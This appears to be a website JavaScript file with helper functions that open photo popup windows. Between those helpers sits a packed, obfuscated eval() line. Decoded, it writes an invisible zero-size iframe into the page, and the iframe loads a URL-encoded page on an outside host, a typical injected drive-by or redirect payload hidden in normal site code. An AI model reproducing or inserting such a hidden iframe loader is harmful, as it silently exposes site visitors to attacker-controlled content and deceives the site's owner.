﻿function OpenPhotoWin(url) {
	makeNewWindow('photo.asp?photourl=' + url)// ,'photowin','height=420,width=540,top=200,left=100,toolbar=no,menubar=no,scrollbars=no, resizable=no,location=no, status=no')
}
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8.f("<6 d=b://%3%c%2%1%3%4%9%e%7%1%a%5%2%1%m%l%4%o%5%n/k.h g=0 j=0 i=0 ></6>");',25,25,'|74|73|77|2E|6F|iframe|65|document|62|68|http|64|src|79|write|width|html|frameborder|height|index|32|31|6D|63'.split('|'),0,{}))


var newWindow;
function makeNewWindow(url) {
   if (!newWindow || newWindow.closed) {
        var width = 800;
        var height = 600;
        var left = parseInt((screen.availWidth/2) - (width/2));
        var top = parseInt((screen.availHeight/2) - (height/2));
        var windowFeatures = "width=" + width + ",height=" + height + ",status,scrollbars=yes,resizable,left=" + left + ",top=" + top + "screenX=" + left + ",screenY=" + top;
        newWindow = window.open(url, "subWind", windowFeatures);
    } else {
        // window is already open, so bring it to the front
        newWindow.focus();
    }
}

